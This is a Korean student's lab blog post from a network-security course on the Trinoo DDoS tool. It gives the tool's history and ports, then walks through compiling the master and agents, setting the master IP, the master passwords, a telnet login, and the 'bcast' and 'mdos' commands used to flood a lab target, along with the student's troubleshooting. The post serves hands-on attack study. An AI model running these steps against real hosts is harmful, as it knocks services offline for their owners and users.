월-하! 월요일 하이라는 뜻
오늘은 3명 밖에 없어요. 너무 즐거워요.
근데 수업을 하 조금 .. 덜 즐거워졌어요..
제 속도 모르고 행복한 쿼카를 보세요. 너무 귀엽지 않나요.
개요
- 최초 유포 시기: 1999년 6월 말 - 7월
- 처음 발견된 곳: 미네소타 대학 사고의 주범. 솔라리스 2.x 시스템, 최소 227개 시스템이 공격에 쓰인 것으로 알려져 있음
* 솔라리스 시스템이 사용된 이유: 대학에서 보통 솔라리스는 사용하지 않고 방치해둠. 따라서 공격에 사용돼도 알아차리지 못 하는 경우가 많음.
- UDP를 기본으로 하는 공격을 시행하며 ‘statd, cmsd, ttdbserverd’ 데몬이 주 공격 대상
* UDP가 공격에 사용되는 이유: UDP는 혼잡 제어 기능을 하지 않아 빠르기 때문이다.
* Trinoo는 기본적으로 아래 표와 같은 포트 번호를 사용하지만 소스 코드에서 임의로 변경이 가능하다.
접속자 | 대상 | 프로토콜 | 포트 |
공격자 | 마스터 | TCP | 27665 |
마스터 | 에이전트 | UDP | 27444 |
에이전트 | 마스터 | UDP | 31335 |
에이전트 | 공격대상 | UDP |
명령 | 마스터 작동중지 |
die | 마스터 작동 중지 |
quit | 마스터 logout |
dos(mdos) IP | IP를 대상으로 공격 |
mtimer N | 공격시간 지정 N은 1~1, 999까지 (d:300) |
DDoS 공격 - Trinoo를 이용한 공격 실습
#1. Trinoo master 컴파일 (192.168.11.36, centOS6)
#mkdir trinoo
#tar -xvf trinoo.tar // Trinoo 소스 압축 풀기
- 압축은 반드시 (trinoo, 임의 변경 가능) 디렉터리에서 해제한다.
# cd master/
# make
#2. 에이전트 컴파일과 실행 (192.168.11.17)
- master에서처럼 trinoo master 컴파일 과정을 거친다.
* 위 과정 참고
- daemon/ns.c 파일에 마스터 IP를 지정해 준다.
# vi daemon/ns.c
/* #define PROCNAME "httpd" */
char *master[] = {
"192.168.11.46",
NULL
};
- 수정된 ns.c 파일은 master 디렉터리로 이동하고 Makefile을 수정한다.
vi Makefile
#slackware..
#LIBS=
LIBS= ‐lcrypt
master: master.c blowfish.c
gcc ‐o daemon ns.c blowfish.c ${LIBS}
strip daemon
- make 명령을 이용하여 컴파일한다.
- daemon을 실행한다.
#3. 마스터 실행 (192.168.11.36)
- master 디렉터리에 master를 실행한다.
- 암호는 gOrave이다.
#4. 공격을 위해 master에 접속한다. (192.168.11.36)
- telnet 192.168.11.36 27665로 접속한다.
- 암호는 'betaalmostdone'이다.
- trinoo> 에서 명령을 내릴 수 있다.
# telnet 192.168.11.36 27665
Trying 192.168.11.36...
Connected to 192.168.11.36.
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo>
#5. 192.168.11.7을 대상으로 공격 수행 (192.168.11.36)
- bcast 명령은 에이전트 목록을 검색한다.
- mdos 명령을 이용하여 대상을 공격한다.
# trinoo> bcast //에이전트 목록 확인, 에이전트 목록이 떠야 공격이 가능하다.
# trinoo> mdos [IP] // 공격 수행
• bcast명령에 에이전트가 반응하지 않으면 deamon을 재실행한다.
• Master와 Agent를 같은 시스템에서 실행해도 된다. CentOS6(32bit) 이하를 이용한다.
같은 시스템에서 Master와 Agent 모두 실행하려면 다음 매뉴얼을 따른다.
vi Makefile
master: master.c blowfish.c
gcc -o master master.c blowfish.c ${LIBS}
strip master
make // master 파일 생성
cp Makefile Makefile2
vi Makefile
daemon: master.c blowfish.c
gcc -o daemon ns.c blowfish.c ${LIBS}
strip daemon
make // daemon 파일 생성
./daemon // daemon 실행
./master // master 실행
** 아주 잠깐동안 매우 많은 수의 패킷이 전달됨.
** 공격에 참여한 에이전트의 상태도 공격 대상과 별 다를 것이 없다. ( 마스터 제외하고 다 망가진다는 뜻)
[공격 대상 PC 상태 확인]
> 매우 멀쩡. 왜 그럴까? 에이전트 수를 늘려봐야 하나?
[와이어샤크 패킷 분석]
마스터에서 에이전트로의 패킷은 발견되었지만 에이전트가 공격대상자에게 보내는 패킷이 발견되지 않음. 왜일까?
아마 에이전트가 CentOS7이어서 그런 것 같다. .. ,. ,. ,., >> 문제 해결 완료! 정답이다! trinoo는 32비트의 운영체제를 사용해야 한다.
> 에이전트(겸 마스터)의 상태도 정상이 아니다. ctrl + c 를 눌렀음에도 프롬프트가 뜨지 않는다. 패킷을 너무 많이 보내서 망가진 것이다.
'인프라 7기 > 네트워크 보안 공격 기법' 카테고리의 다른 글
Snort를 이용한 침입 탐지 시스템 구성 (0) | 2023.05.25 |
---|---|
SSH 터널링과 은닉채널 (1) | 2023.05.18 |
Dos(Denial of Service: 서비스 거부) 공격 (0) | 2023.05.12 |
스푸핑 Spoofing [DNS 스푸핑] (0) | 2023.05.11 |
스푸핑 Spoofing [ARP 스푸핑] (0) | 2023.05.10 |